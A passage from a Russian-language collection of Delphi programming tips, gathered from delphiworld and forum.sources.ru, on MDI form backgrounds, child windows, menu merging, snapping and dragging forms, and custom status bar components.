  TForm1(Application.Mainform).PaintUnderIcon(Self, Message.DC);
  Message.Result := 0;
end;

...
{ Private declarations }
bmW, bmH: Integer;
FClientInstance,
FPrevClientProc: TFarProc;

procedure ClientWndProc(var Message: TMessage);
public
    procedure PaintUnderIcon(F: TForm; D: hDC);
    ...
      procedure TForm1.PaintUnderIcon(F: TForm; D: hDC);
    var

      DestR, WndR: TRect;
      Ro, Co,
        xOfs, yOfs,
        xNum, yNum: Integer;
    begin

      {вычисляем необходимое число изображений для заливки D}
      GetClipBox(D, DestR);
      with DestR do
      begin
        xNum := Succ((Right - Left) div bmW);
        yNum := Succ((Bottom - Top) div bmW);
      end;
      {вычисление смещения изображения в D}
      GetWindowRect(F.Handle, WndR);
      with ScreenToClient(WndR.TopLeft) do
      begin
        xOfs := X mod bmW;
        yOfs := Y mod bmH;
      end;
      for Ro := 0 to xNum do
        for Co := 0 to yNum do
          BitBlt(D, Co * bmW - xOfs, Ro * bmH - Yofs, bmW, bmH,
            Image1.Picture.Bitmap.Canvas.Handle,
            0, 0, SRCCOPY);
    end;

    procedure TForm1.ClientWndProc(var Message: TMessage);
    var
      Ro, Co: Word;
    begin

      with Message do
        case Msg of
          WM_ERASEBKGND:
            begin
              for Ro := 0 to ClientHeight div bmH do
                for Co := 0 to ClientWIDTH div bmW do
                  BitBlt(TWMEraseBkGnd(Message).DC,
                    Co * bmW, Ro * bmH, bmW, bmH,
                    Image1.Picture.Bitmap.Canvas.Handle,
                    0, 0, SRCCOPY);
              Result := 1;
            end;
          WM_VSCROLL,
            WM_HSCROLL:
            begin
              Result := CallWindowProc(FPrevClientProc,
                ClientHandle, Msg, wParam, lParam);
              InvalidateRect(ClientHandle, nil, True);
            end;
        else
          Result := CallWindowProc(FPrevClientProc,
            ClientHandle, Msg, wParam, lParam);
        end;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      bmW := Image1.Picture.Width;
      bmH := Image1.Picture.Height;
      FClientInstance := MakeObjectInstance(ClientWndProc);
      FPrevClientProc := Pointer(
        GetWindowLong(ClientHandle, GWL_WNDPROC));
      SetWindowLong(ClientHandle, GWL_WNDPROC,
        LongInt(FClientInstance));
    end;

Автор: Neil Rubenkind

Взято с http://delphiworld.narod.ru

В разделе Заполнение изображением MDI-формы повторяющимся изображением. Я нашел (Copyright не мой а из книжки) более простой способ.

...
private
  OutCanvas: TCanvas;
  OldWinProc, NewWinProc: Pointer;

procedure NewWinProcedure(var Msg: TMessage);
...

procedure TMainForm.FormCreate(Sender: TObject);
begin
  NewWinProc := MakeObjectInstance(NewWinProcedure);
  OldWinProc := Pointer(SetWindowLong(ClientHandle,
    gwl_WndProc, Cardinal(NewWinProc)));
  OutCanvas := TCanvas.Create;
end;

procedure TMainForm.NewWinProcedure(var Msg: TMessage);
var
  BmpWidth, BmpHeight: Integer;
  I, J: Integer;
begin
  // default processing first
  Msg.Result := CallWindowProc(OldWinProc,
    ClientHandle, Msg.Msg, Msg.wParam, Msg.lParam);

  // handle background repaint
  if Msg.Msg = wm_EraseBkgnd then
  begin
    BmpWidth := MainForm.Image1.Width;
    BmpHeight := MainForm.Image1.Height;
    if (BmpWidth <> 0) and (BmpHeight <> 0) then
    begin
      OutCanvas.Handle := Msg.wParam;
      for I := 0 to MainForm.ClientWidth div BmpWidth do
        for J := 0 to MainForm.ClientHeight div BmpHeight do
          OutCanvas.Draw(I * BmpWidth, J * BmpHeight,
            MainForm.Image1.Picture.Graphic);
    end;
  end;
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
  OutCanvas.Free;
end;

Автор: Alexander N.Voronin

Взято с http://delphiworld.narod.ru

type
  .... = class(TForm)
    ....
      procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    ....
    private
    FHBrush: HBRUSH;
    FCover: TBitmap;
    FNewClientInstance: TFarProc;
    FOldClientInstance: TFarProc;
    procedure NewClientWndProc(var Message: TMessage);
    ....
    protected
    ....
      procedure CreateWnd; override;
    ....
  end;

  .....

implementation

{$R myRes.res} //pесуpс с битмапом фона

procedure.FormCreate(...);
  var
  LogBrush: TLogbrush;
begin
  FCover := TBitmap.Create;
  FCover.LoadFromResourceName(hinstance, 'BMPCOVER');
  with LogBrush do
  begin
    lbStyle := BS_PATTERN;
    lbHatch := FCover.Handle;
  end;
  FHBrush := CreateBrushIndirect(Logbrush);
end;

  procedure.FormDestroy(...);
    begin
      DeleteObject(FHBrush);
      FCover.Free;
    end;

    procedure.CreateWnd;
    begin
      inherited CreateWnd;
      if (ClientHandle <> 0) then
      begin
        if NewStyleControls then
          SetWindowLong(ClientHandle, GWL_EXSTYLE, WS_EX_CLIENTEDGE or
            GetWindowLong(ClientHandle, GWL_EXSTYLE));

        FNewClientInstance := MakeObjectInstance(NewClientWndProc);
        FOldClientInstance := pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
        SetWindowLong(ClientHandle, GWL_WNDPROC, longint(FNewClientInstance));
      end;
    end;

    procedure.NewClientWndProc(var Message: TMessage);

      procedure Default;
      begin
        with Message do
          Result := CallWindowProc(FOldClientInstance, ClientHandle, Msg,
            wParam,
            lParam);
      end;

    begin
      with Message do
      begin
        case Msg of
          WM_ERASEBKGND:
            begin
              FillRect(TWMEraseBkGnd(Message).DC, ClientRect, FHBrush);
              Result := 1;
            end;
        else
          Default;
        end;
      end;
    end;

Автор: Nomadic

Взято с http://delphiworld.narod.ru


Почему MDI Child форма при закрывании просто минимизируется?

Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть

Взято с http://delphiworld.narod.ru


Сколько открыто дочерних окон?

Form1.MDIChildCount

Закрыть все окна:

with Form1 do
  for I := 0 to MDIChildCount-1
    do MDIChildren[I].Close;

Взято с http://delphiworld.narod.ru


Открытие MDI-окон определенного размера

var
  ProjectWindow: TWndProject;
begin
  If ProjectActive=false then
  begin
    LockWindowUpdate(ClientHandle);
    ProjectWindow:=TWndProject.Create(self);
    ProjectWindow.Left:=10;
    ProjectWindow.Top:=10;
    ProjectWindow.Width:=373;
    ProjecTwindow.Height:=222;
    ProjectWindow.Show;
    LockWindowUpdate(0);
  end;
end;

Используйте LockWindowUpdate перед созданием окна и после того, как создание будет завершено.

Взято с http://delphiworld.narod.ru


Проблема всплывающих подсказок в дочерних MDI-формах

Если вам просто нужно отобразить всплывающие подсказки от элементов управления вашей дочерней формы, то сделайте это в вашей главной форме.

Объявите следующую процедуру в классе вашей главной формы:

private
{============================================================}
{ Процедура, вызываемая приложением всякий раз, когда        }
{ приложение хотело бы показать всплывающую подсказку.       }
{ Добавляет хинт на панель статуса.                          }
{============================================================}
procedure ShowHint(Sender : TObject);

затем в процедуре главной формы .create добавьте следующую строку:

{ Отображает хинт на статусной панели}
Application.OnHint := ShowHint;

Теперь приведем код функции ShowHint, принадлежащей главной форме:

{================================================================}
{ Обновляем pnlStatusText.Caption с текстом всплывающей подсказки}
{ элемента управления, над которым находится курсор мыши.        }
{================================================================}

procedure
  TMainFrame.ShowHint
  (

  Sender: TObject {Объект, вызывающий данную процедуру}
  );
begin

  pnlStatusText.Caption := Application.Hint;
end; { TMainFrame.ShowHint }

Это должно работать. Вам нужно будет только задать текст подсказок для элементов управления во всех окнах, включая главное. Устанавливая свойство показа хинтов в false или true, вы тем самым указываете способ показа хинтов: обычным способом в виде всплывающих окошек, или совместно с показом в строке состояния.

Взято с http://delphiworld.narod.ru


Меню дочерних MDI-форм

Так как MDI-приложения всегда объединяют меню дочерних окон с главным меню родительского окна, вы можете установить определенное значение для указания позиции элементов меню в новой, объединенной строке меню. Это называется индексом группы. Но работает оно только для видимых пунктов меню.

Так, например, если ваше MDI-меню имеет:
[Файл] [Вид] [О программе] (со значениями индексов групп 1 5 10) (Значения не имеют никакого значения (извините за невольный каламбур), они используются только лишь для сортировки),

а меню дочерней MDI-формы имеет:
[Файл] [Редактирование] (и им присвоены значения 1 и 3),

то при открытии дочернего MDI-окна пункт меню [Файл] заменит соответствующий пункт меню родительской MDI-формы. Пункт меню [Редактирование] будет расположен перед пунктами [Вид] и [О программе] родительской формы.

Это может оказаться весьма полезным, поскольку меню [Файл] MDI-формы в нормальной ситуации может содержать меньшее количество пунктов меню по сравнению с ситуацией, когда имеется открытая дочерняя MDI-форма.

К примеру, в описанной выше ситуации в меню [Файл] MDI-формы необходимы только пункты [Сохранить] или [Закрыть], а в случае отсутствия дочерних окон - [Открыть] и [Новое].

Все описанные выше пункты вы должны ввести в меню дочерней формы, поскольку оно заменит существующий пункт [Файл].

Вы все еще можете использовать код родительской формы в дочерней.

Так, если у вас имеется процедура "parent.open1click", вы можете вызывать ее из меню [Файл] дочернего окна после его открытия.

Взято с http://delphiworld.narod.ru


Позиция дочерних MDI-окон

Автор: Richard Cox

Проблема, с котороя я столкнулся, заключается в том, что нижняя часть дочерней формы загораживает панель состояния родительской формы...

У меня была аналогичная проблема -- она проявлялась при условии, когда свойство главной формы WindowState устанавливалось на wsMinimized.

Вот мое решение: добавьте этот небольшой метод к вашей главной форме:

interface

procedure CMShowingChanged(var Message: TMessage); message CM_SHOWINGCHANGED;

implementation

procedure TMainForm.CMShowingChanged(var Message: TMessage);
var
  theRect: TRect;
begin
  inherited;
  theRect := GetClientRect;
  AlignControls(nil, theRect);
end;

Это работает, поскольку вызов AlignControls (в TForm) делает две вещи:

выравнивает элементы управления (включая ваш проблемный StatusBar) и
вновь позиционирует окно клиента относительно главной формы (оно ссылается на ClientHandle) после того, как элементы управления будут выравнены... что, впрочем, мы и хотели.

Взято с http://delphiworld.narod.ru


Как сделать MDI-приложение, где сливаются меню дочернего и главного окна, и полосы инструментов?

Ваpиант 1. CoolBar.

procedure TMainForm.SetBands(AControls: array of TWinControl;
ABreaks: array of boolean);
var
  i: integer;
begin
  with CoolBar do
  begin
    for i:=0 to High(AControls) do
    begin
      if Bands.Count=succ(i) then
        TCoolBand.Create(Bands);
      with Bands[succ(i)] do
      begin
        if Assigned(Control) then
          Control.Hide;
        MinHeight:=AControls[i].Height;
        Break:=ABreaks[i];
        Control:=AControls[i];
        Control.Show;
        Visible:=true;
      end
    end;
    for i:=High(AControls)+2 to pred(Bands.Count) do
      Bands[i].Free
  end
end;

и

procedure TMsgForm.FormActivate(Sender: TObject);
begin
  MainForm.SetBands([ToolBar],[false])
end;

Пpимечание:

Оба массива pавны по длине. CoolBar.Bands[0] должен существовать всегда,.. на нём я pазмешаю "глобальные" кнопки. СoolBar[1] тоже можно сделать в DesignTime с Break:=false и пpидвинуть поближе с началу. Пpи CoolBar.AutoSize:=true возможно "мигании" (пpи добавлении на новую стpоку) так что можно добавить:

AutoSize := false;
try
  ...
finally
AutoSize := true;

TMainForm
  ...
  object SpeedBar: TPanel
  ...
  Align = alTop
  BevelOuter = bvNone
  object ToolBar: TPanel
  ...
  Align = alLeft
  BevelOuter = bvNone
  end
  object RxSplitter1: TRxSplitter
  ...
  ControlFirst = ToolBar
  ControlSecond = ChildBar
  Align = alLeft
  BevelOuter = bvLowered
  end
  object ChildBar: TPanel
  ...
  Align = alClient
  BevelOuter = bvNone
  end
end

TMdiChild {пpородитель всех остальных}
  ...
  object pnToolBar: TPanel
  ...
  Align = alTop
  BevelOuter = bvNone
  Visible = False
end

procedure TMDIForm.FormActivate(Sender: TObject);
begin
  pnToolBar.Parent := MainForm.ChildBar;
  pnToolBar.Visible := True;
end;

procedure TMDIForm.FormDeactivate(Sender: TObject);
begin
  pnToolBar.Visible := false;
  pnToolBar.Parent := self
end;

Взято с http://delphiworld.narod.ru


Придание MDI-формам большей трехмерности

constructor TMainForm.Create(AOwner: TComponent);
begin
  Inherited Create(AOwner);
  SetWindowLong(ClientHandle, GWL_EXSTYLE,
  GetWindowLong(ClientHandle,
  GWL_EXSTYLE) or WS_EX_CLIENTEDGE);
  SetWindowPos(ClientHandle, 0, 0, 0, 0, 0,
    swp_DrawFrame or swp_NoMove or swp_NoSize
    or swp_NoZOrder);
end;

Взято с http://delphiworld.narod.ru


Модуль данных для каждого MDIChild

Когда во время разработки вы устанавливаете "DataSource"-свойство в БД-компонентах для указания на модуль данных, VCL во время выполнения приложения будет пытаться создать связь с существующим TDataModule, основываясь на его свойтсве Name. Так, если вы добавите модуль данных к вашему проекту и переместите его в свойстве проекта из колонки автоматически создаваемых форм в колонку доступных, вы сможете разработать форму, содержащую элементы управления для работы с базами данных, после чего несколькими строчками кода можете создать экземпляр формы, имеющий экземпляр собственного модуля данных.

С помощью Репозитория создайте "standard MDI application" (стандартное MDI-приложение), в котором модуль TMDICHild будет похож на приведенный ниже. Добавленные строки имеют комментарий {!}. Хитрости спрятаны в конструкторе create и задании другого порядка следования операторов.

unit Childwin;

interface

uses Windows, Classes, Graphics, Forms, Controls,
  ExtCtrls, DBCtrls, StdCtrls, Mask, Grids, DBGrids,
  DataM; {!} // Модуль TDataModule1

type
  TMDIChild = class(TForm)
    DBGrid1: TDBGrid;
    DBGrid2: TDBGrid;
    DBEdit1: TDBEdit;
    DBEdit2: TDBEdit;
    DBNavigator1: TDBNavigator;
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
    {!} DM: TDataModule1;
    {!} constructor Create(AOwner: TComponent); override;
  end;

implementation

{$IFDEF XOXOXOX} // DataM должен находиться в секции interface. Необходимо для среды

uses DataM; // времени проектирования. Определение "XOXOXOX" подразумевает,
{$ENDIF} // что это никогда не будет определено, но чтобы компилятор видел это.

{$R *.DFM}

{!} constructor TMDIChild.Create;
{!}
begin
  {!} DM := TDataModule1.Create(Application);
  {!} inherited Create(AOwner);
  {!} DM.Name := '';
  {!}
end;

procedure TMDIChild.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Action := caFree;
end;

end.

Взято с http://delphiworld.narod.ru


Как спрятать окна MDI Child

procedure TCustomForm.VisibleChanging;
begin
  if (FormStyle = fsMDIChild) and Visible then
    raise EInvalidOperation.Create(SMDIChildNotVisible);
end;

Взято с http://delphiworld.narod.ru


Избавление от скролов в MDI форме

{ Избавление от ScrollBar'ов в MDI-форме. (С) Peter Below (TeamB)              }
{ Не надо VCL переписывать :-)                                                 }

unit MainForm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Menus;

type
  TfMain = class(TForm)
    MainMenu1: TMainMenu;
    Newchild1: TMenuItem;
    Newchild2: TMenuItem;
    procedure Newchild2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  fMain: TfMain;

implementation

uses ChildForm;

{$R *.DFM}

procedure TfMain.Newchild2Click(Sender: TObject);
begin
  with TfChild.Create(Application) do
    Show();
end;

function ClientWindowProc( wnd: HWND; msg: Cardinal; wparam, lparam: Integer ): Integer; stdcall;
var
  f: Pointer;
begin
  f := Pointer( GetWindowLong( wnd, GWL_USERDATA ));
  case msg of
  WM_NCCALCSIZE:
    if ( GetWindowLong( wnd, GWL_STYLE ) and
                       (WS_HSCROLL or WS_VSCROLL)) <> 0 then
      SetWindowLong( wnd, GWL_STYLE, GetWindowLong( wnd, GWL_STYLE )
                                   and not (WS_HSCROLL or WS_VSCROLL));
  end;
  Result := CallWindowProc( f, wnd, msg, wparam, lparam );
end;

procedure TfMain.FormCreate(Sender: TObject);
begin
  if ClientHandle <> 0 then begin
    if GetWindowLong( ClientHandle, GWL_USERDATA ) <> 0 then
      Exit;  {cannot subclass client window, userdata already in use}
    SetWindowLong(ClientHandle, GWL_USERDATA, SetWindowLong( ClientHandle,
                                GWL_WNDPROC, integer( @ClientWindowProc)));
end;

end;

end.

Взято из http://forum.sources.ru


Перемещение формы

Cодержание раздела:

Как узнать, была ли перемещена форма?
Как прикрепить свою форму к другому приложению?
Липкие окошки
Таскаем форму за её поверхность
Как запретить перемещение формы?
Ограничить подвижность формы New!

См. также статьи в других разделах:
Как таскать форму за метку?


Как узнать, была ли перемещена форма?

type
  TfrmMain = class(TForm)
  private
    procedure OnMove(var Msg: TWMMove); message WM_MOVE;
  end;

  (...)

procedure TfrmMain.OnMove(var Msg: TWMMove);
begin
  inherited;
  (...)
end;

(...)

Взято из http://forum.sources.ru


Как прикрепить свою форму к другому приложению?

Для этого Вам понадобится переопределить процедуру CreateParams у желаемой формы. А в ней установить params.WndParent в дескриптор окна, к которому Вы хотите прикрепить форму.

... = class(TForm)
  ...
  protected
    procedure CreateParams( var params: TCreateParams ); override;
...

procedure TForm2.Createparams(var params: TCreateParams);
var
   aHWnd : HWND;
begin
  inherited;
{как-нибудь получаем существующий дескриптор}
  ahWnd := GetForegroundWindow;
{а теперь:}
  params.WndParent := ahWnd;
end;

Взято из http://forum.sources.ru


Липкие окошки

Из одноимённой статьи с сайта delphi.about.com

В статье рассматривается приём создания обработчиков сообщений, которые позволяют форме при перетаскивании "прилипать" к краям экранной области.

Конечно же в Win API такой возможности не предусмотрено, поэтому мы воспользуемся сообщениями Windows. Как нам извесно, Delphi обрабатывает сообщения через события, генерируя его в тот момент, когда Windows посылает сообщений приложению. Однако некоторые сообщения не доходят до нас. Например, при изменении размеров формы, генерируется событие OnResize, соотвествующее сообщению WM_SIZE, но при перетаскивании формы никакой реакции не происходит. Конечно же форма может получить это сообщение, но изначально никаких действий для данного сообщения не предусмотрено.

Итак, при перемещении, окну посылается сообщение WM_MOVING. Обрабатывая данной сообщение, приложение может отслеживать размер и расположение перетаскиваемого квадрата и, при необходимости, изменять их.

Так же существует сообщение WM_WINDOWPOSCHANGING, которое посылается окну, в случае, если его размер, расположение или место в Z порядке собираются измениться, как результат вызова функции SetWindowPos либо другой функции управления окном.

Чаще всего с сообщением передаются дополнительные параметры, которые сообщают нам необходимую информацию. Например, сообщение WM_MOVE, указывающее на то, что форма изменила своё местоположение, так же передаёт в параметре LPARAM новые координаты X и Y.

Сообщение WM_WINDOWPOSCHANGING передаёт нам ТОЛЬКО один параметр - указатель на структуру WindowPos, которая содержит информацию о новом размере и местоположении окна. Вот как выглядит структура WindowPos:

TWindowPos = packed record
  hwnd: HWND; {Identifies the window.}
  hwndInsertAfter: HWND; {Window above this one}
  x: Integer; {Left edge of the window}
  y: Integer; {Right edge of the window}
  cx: Integer; {Window width}
  cy: Integer; {Window height}
  flags: UINT; {Window-positioning options.}
end;

Наша задача проста: нам необходима, чтобы форма прилипла к краю экрана, если она находится на определённом расстоянии от окна (допустим 20 пикселей).

Пример
К новой форме добавьте Label, один контрол Edit и четыре Check boxes. Измените имя контрола Edit на edStickAt. Измените имена чекбоксов на chkLeft, chkTop, и т.д... Для установки количества пикселей используем edStickAt, который будет использоваться для определения необходимого расстояния до края экрана достаточного для приклеивания формы.

Нас интересует только одно сообщение WM_WINDOWPOSCHANGING. Обработчик для данного сообщения будет объявлен в секции private. Ниже приведён полный код этого процедуры "прилипания" вместе с комментариями. Обратите внимание, что Вы можете предотвратить "прилипание" формы к определённому краю, путё снятия нужной галочки.

Для получения рабочей области декстопа (минус панель задач, панель Microsoft и т.д.), используем SystemParametersInfo, первый параметр которой SPI_GETWORKAREA.

...

  private
   procedure WMWINDOWPOSCHANGING
            (Var Msg: TWMWINDOWPOSCHANGING);
             message WM_WINDOWPOSCHANGING;

...

procedure TfrMain.WMWINDOWPOSCHANGING
          (var Msg: TWMWINDOWPOSCHANGING);
const
  Docked: Boolean = FALSE;
var
  rWorkArea: TRect;
  StickAt : Word;
begin
  StickAt := StrToInt(edStickAt.Text);

  SystemParametersInfo
     (SPI_GETWORKAREA, 0, @rWorkArea, 0);

  with Msg.WindowPos^ do begin
    if chkLeft.Checked then
     if x <= rWorkArea.Left + StickAt then begin
      x := rWorkArea.Left;
      Docked := TRUE;
     end;

    if chkRight.Checked then
     if x + cx >= rWorkArea.Right - StickAt then begin
      x := rWorkArea.Right - cx;
      Docked := TRUE;
     end;

    if chkTop.Checked then
     if y <= rWorkArea.Top + StickAt then begin
      y := rWorkArea.Top;
      Docked := TRUE;
     end;

    if chkBottom.Checked then
     if y + cy >= rWorkArea.Bottom - StickAt then begin
      y := rWorkArea.Bottom - cy;
      Docked := TRUE;
     end;

    if Docked then begin
      with rWorkArea do begin
      // не должна вылезать за пределы экрана
      if x < Left then x := Left;
      if x + cx > Right then x := Right - cx;
      if y < Top then y := Top;
      if y + cy > Bottom then y := Bottom - cy;
      end; {ширина rWorkArea}
    end; {}
  end; {с Msg.WindowPos^}

  inherited;
end;
end.

Теперь достаточно запустить проект и перетащить форму к любому краю экрана.

А также можно взять готовый пример (~6Kb)

Вот собственно и всё.

Комментарии:

Автор: Nashev

а так короче... И, ИМХО, лучше:

procedure TCustomGlueForm.WMWindowPosChanging1(var Msg: TWMWindowPosChanging);
var
WorkArea: TRect;
StickAt : Word;
begin
StickAt := 10;
SystemParametersInfo(SPI_GETWORKAREA, 0, @WorkArea, 0);
with WorkArea, Msg.WindowPos^ do
begin
// Сдвигаем границы для сравнения с левой и верхней сторонами
Right:=Right-cx;
Bottom:=Bottom-cy;
if abs(Left - x) <= StickAt then x := Left;
if abs(Right - x) <= StickAt then x := Right;
if abs(Top - y) <= StickAt then y := Top;
if abs(Bottom - y) <= StickAt then y := Bottom;
end;
inherited;
end;

Скачать демонстрационный проект с исходниками - 167Kb

В проекте осталось 2 глюка:

1) Если у формы, к которой прицепили другую форму за правую/нижнюю границы попробовать переместить эти границы, прицепленная форма останется на месте но все равно будет прикрепленной.

2) Иногда 3 формы прикрепляются друг к другу, и иначе, как воспользовавшись 1-ым глюком, их не расцепить.

Состав проекта:
сам проект, uCustomGlueForm - форма с добавленной липкостью 3 формы - пустышки, наследники TCustomGlueForm

Для использования сделанного в своих проектах надо добавить в проект, и свои формы создавать, наследуя от него, например, через мастер "File/New..."
В принципе, если липкость нужна без прилипания (а это уже работает без глюков) можно выкинуть все методы, кроме
procedure WMWindowPosChanging(var Msg: TWMWindowPosChanging);message WM_WINDOWPOSCHANGING;
и все переменные, а в самом WMWindowPosChanging удалить все упоминания этих переменных.

Взято из http://forum.sources.ru


Таскаем форму за её поверхность

unit DragMain;

interface

uses
  SysUtils, WinTypes, WinProcs,  Messages,
  Classes, Graphics, Controls, Forms, Dialogs, StdCrtls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure ButtonClick(Sender: TObject);
  private
    procedure WMNCHitTest(var M: TWMNCHitTest);
                 message wm_NCCHitTest;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1. WMNCHitTest(var M: TWMNCHitTest);

begin
  inherited;
  if M.Result = htClient then
    M.Result := htCaption;
end;

procedure TForm1.Button1Click(Sender: TObject);

begin
  Close;
end;

end.


Как запретить перемещение формы?

type
  TyourForm = class(TForm)
  private
    { Private declarations }
    procedure WMNCHitTest(var Message: TWMNCHitTest); message WM_NCHITTEST;
  end;

procedure TyourForm.WMNCHitTest(var Message: TWMNCHitTest);
begin
  inherited;

  with Message do
    if Result = HTCAPTION then
      Result := HTNOWHERE;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Ограничить подвижность формы

For some reason messages.pas declares no message record for this message

type
  TWmMoving = record
    Msg: Cardinal;
    fwSide: Cardinal;
    lpRect: PRect;
    Result: Integer;
  end;

// Add a handler to your forms private section:

procedure WMMoving(var msg: TWMMoving); message WM_MOVING;

// Implement it as

  procedure TFormX.WMMoving(var msg: TWMMoving);
  var
    r: TRect;
  begin
    r := Screen.WorkareaRect;
   // compare the new form bounds in msg.lpRect^ with r and modify it if
   // necessary
    if msg.lprect^.left < r.left then
      OffsetRect(msg.lprect^, r.left - msg.lprect^.left, 0);
    if msg.lprect^.top < r.top then
      OffsetRect(msg.lprect^, 0, r.top - msg.lprect^.top);
    if msg.lprect^.right > r.right then
      OffsetRect(msg.lprect^, r.right - msg.lprect^.right, 0);
    if msg.lprect^.bottom > r.bottom then
      OffsetRect(msg.lprect^, 0, r.bottom - msg.lprect^.bottom);
    inherited;
  end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


TStatusBar

Cодержание раздела:

Как вывести цветной текст в TStatusBar?
StatusBar с другими контролами
Показ даты, времени и состояния клавиш в строке состояния New!

См. также статьи в других разделах:
Как поместить ProgressBar в панель StatusBar?
Показываем всплывающие подсказки в различных панелях StatusBar


Как вывести цветной текст в TStatusBar?

Статусбар, это стандартный элемент управления Windows и как все отображает шрифт, заданный в параметре clBtnText, который устанавливается через Панель управления. Поумолчанию этот цвет чёрный, но он может менятся в зависимоти пользовательской темы. StatusBar и связанные с ним панели имеют возможность самостоятельной перерисовки (owner-draw), позволяющей рисовать текст различными цветами. Для этого необходимо в TStatusBar.Panels установить свойство Style в OwnerDraw.

procedure TForm1.StatusBar1DrawPanel(StatusBar: TStatusBar;
  Panel: TStatusPanel; const Rect: TRect);
begin
  if Panel = StatusBar.Panels[0] then begin
    StatusBar.Canvas.Font.Color := clRed;
    StatusBar.Canvas.TextOut(Rect.Left, Rect.Top, 'Panel - 0')
  end else begin
    StatusBar.Canvas.Font.Color := clGreen;
    StatusBar.Canvas.TextOut(Rect.Left, Rect.Top, 'Panel - 1');
  end;
end;

Взято из http://forum.sources.ru


StatusBar с другими контролами

Этот StatusBar позволит размещать на себе любые другие контролы.
Создаем новый компонент от StatusBar и првим код как внизу. Потом инсталлируем и все.

unit StatusBarExt;

interface

uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls;

type
  TStatusBarExt = class(TStatusBar)
public
  constructor Create(AOwner: TComponent); override; // добавить конструктор
end;

procedure Register;

implementation

uses Consts; // не забыть

constructor TStatusBarExt.Create( AOwner : TComponent );
begin
  inherited Create(AOwner);
  ControlStyle := ControlStyle + [csAcceptsControls]; // собственно все!
end;

procedure Register;
begin
  RegisterComponents('Samples', [TStatusBarExt]);
end;

end.

Автор man2002ua
Взято с Vingrad.ru http://forum.vingrad.ru


Показ даты, времени и состояния клавиш в строке состояния

Предположим, у вас есть StatusBar с 4-мя панелями, плюс таймер. Тогда вы можете сделать:

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  with StatusBar1 do
  begin
    if GetKeyState(VK_CAPITAL) <> 0 then
      panels[0].text := ' CAP'
    else
      panels[0].text := '';
    if GetKeyState(VK_NUMLOCK) <> 0 then
      panels[1].text := ' NUM'
    else
      panels[1].text := '';
    if GetKeyState(VK_SCROLL) <> 0 then
      panels[2].text := ' SCRL'
    else
      panels[2].text := '';
    panels[3].text := ' ' + DateTimeToStr(now);
  end;
end;

О том, как можно изменить формат вывода даты, доходчиво и с примерами изложено в электронной справке, в разделе, посвященный датам (Date). Обратите внимание на то, что свойство Text имеет тип строки, поэтому вы не можете написать panels[0].text := DateTime(now), т.к. дата/время имеет тип Double.

unit Status;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, ExtCtrls, Menus, Gauges;

type

  TStatus = class(TCustomPanel)
  private
    FDate: Boolean;
    FKeys: Boolean;
    FTime: Boolean;
    FResources: Boolean;
    DateTimePanel: TPanel;
    ResPanel: TPanel;
    ResGauge: TGauge;
    CapPanel: TPanel;

    NumPanel: TPanel;
    InsPanel: TPanel;
    HelpPanel: TPanel;
    UpdateWidth: Boolean;
    FTimer: TTimer;
    procedure SetDate(A: Boolean);
    procedure SetKeys(A: Boolean);
    procedure SetTime(A: Boolean);
    procedure SetResources(A: Boolean);
    procedure SetCaption(A: string);
    function GetCaption: string;
    procedure CMFontChanged(var Message: TMessage); message CM_FONTCHANGED;

  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    procedure SetupPanelFields(ThePanel: TPanel);
    procedure SetupPanel(ThePanel: TPanel; WidthMask: string);
    procedure UpdateStatusBar(Sender: TObject);
  published
    property ShowDate: Boolean read FDate write SetDate default True;
    property ShowKeys: Boolean read FKeys write SetKeys default True;

    property ShowTime: Boolean read FTime write SetTime default True;
    property ShowResources: Boolean read FResources write SetResources
      default True;

    property BevelInner;
    property BevelOuter;
    property BevelWidth;
    property BorderStyle;
    property BorderWidth;
    property Caption: string read GetCaption write SetCaption;

    property Color;
    property Ctl3D;
    property DragCursor;
    property DragMode;
    property Enabled;
    property Font;
    property ParentColor;
    property ParentCtl3d;
    property ParentFont;
    property ParentShowHint;
    property PopUpMenu;
    property ShowHint;
    property Visible;
  end;

procedure Register;
implementation

procedure Register;
begin

  RegisterComponents('Additional', [TStatus]);
end;

procedure TStatus.SetupPanelFields(ThePanel: TPanel);
begin

  with ThePanel do
  begin
    Alignment := taCenter;
    Caption := '';
    BevelInner := bvLowered;
    BevelOuter := bvNone;
    {Установите все в True, чтобы все это отразилось на TStatus}
    ParentColor := True;
    ParentFont := True;

    ParentCtl3D := True;
  end;
end;

procedure TStatus.SetupPanel(ThePanel: TPanel; WidthMask: string);
begin

  SetupPanelFields(ThePanel);
  with ThePanel do
  begin
    Width := Canvas.TextWidth(WidthMask);
    Align := alRight;
  end;
end;

constructor TStatus.Create(AOwner: TComponent);
begin

  inherited Create(AOwner);
  Parent := TWinControl(AOwner);

  FTime := True;
  FDate := True;
  FKeys := True;
  FResources := True;
  {Заставляем строку состояния выровняться по нижнему краю}
  Align := alBottom;
  Height := 19;
  BevelInner := bvNone;
  BevelOuter := bvRaised;
  {Если UpdateWidth равен TRUE, StatusBar пересчитывает только ширину панелей}
  UpdateWidth := True;
  Locked := True;
  TabOrder := 0;
  ;
  TabStop := False;
  Font.Name := 'Arial';
  Font.Size := 8;
  {Создаем панель, которая будет отображать дату и время}

  DateTimePanel := TPanel.Create(Self);
  DateTimePanel.Parent := Self;
  SetupPanel(DateTimePanel, '  00/00/00 00:00:00 дп  ');
